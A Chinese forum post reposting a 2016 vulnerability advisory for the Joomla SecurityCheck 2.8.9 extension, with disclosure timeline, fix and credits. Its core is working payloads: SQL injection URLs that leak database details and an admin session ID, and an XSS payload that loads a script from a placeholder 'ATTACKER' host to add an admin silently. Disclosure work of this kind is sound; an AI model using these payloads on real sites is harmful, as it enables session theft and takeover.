请选择 进入手机版 | 继续访问电脑版
查看: 891|回复: 1

Joomla SecurityCheck 2.8.9跨站/SQL注入漏洞

[复制链接]
  • TA的每日心情

    前天 11:29
  • 签到天数: 903 天

    [LV.10]以坛为家III

    发表于 2016-6-2 09:31:56 | 显示全部楼层 |阅读模式
    [PHP] 纯文本查看 复制代码
    Technical Details
    ------------------------------
    PoC URLs for SQL Injection
    
    For determining database, user and version.
    
    http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1
    http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1
    http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1
    
    For steal admin's session ID (If admin is not online, page response with
    attack detected string. If online, response with admin's session ID)
    
    http://website/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT
    concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON
    %23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON %
    23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1
     
    PoC URLs for XSS
     
    Add a new admin to website silently while admin checking SecurityCheck logs
     
    http://website/index.php?option=<script>var script =
    document.createElement('script');script.src = "http://ATTACKER/attack.js
    ";document.getElementsByTagName('head')[0].appendChild(script);</script>
     
    attack.js
    [url]https://gist.github.com/MuhammetDilmac/c680cc921143543561bfdfd7b25da1ca[/url]
     
     
    Disclosure Timeline
    ------------------------------
    24/05/2016 SQL injection found
    30/05/2016 Worked on one-shot exploit for SQLi
    30/05/2016 While we were working on SQLi payload we also found XSS
    31/05/2016 XSS payload prepared
    31/05/2016 Vulnerability details and PoC sent to Protegetuordenador
    31/05/2016 Vulnerabilities fixed in v2.8.10
     
    Solution
    ------------------------------
    Update to the latest version of SecurityCheck (2.8.10)
     
    Credits
    ------------------------------
    These issues have been discovered by Gokmen Guresci (gokmenguresci.com) and
    Muhammet Dilmac (muhammetdilmac.com.tr).
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2017-4-14 17:32
  • 签到天数: 126 天

    [LV.7]常住居民III

    发表于 2016-6-4 10:17:35 | 显示全部楼层
    我来支持一下大大
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表